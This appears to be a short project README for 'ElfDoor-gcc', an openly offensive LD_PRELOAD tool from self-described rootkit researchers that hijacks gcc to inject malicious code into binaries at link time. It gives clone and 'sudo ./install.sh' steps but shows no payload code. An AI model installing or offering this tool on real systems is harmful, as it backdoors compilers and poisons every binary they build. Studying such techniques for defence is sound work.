ElfDoor-gcc is an LD_PRELOAD that hijacks gcc to inject malicious code into binaries during linking, without touching the source code.
Detailed Article: https://matheuzsecurity.github.io/hacking/gcc/
git clone https://github.com/MatheuZSecurity/ElfDoor-gcc
cd ElfDoor-gcc
chmod +x install.sh
sudo ./install.sh
Rootkit Researchers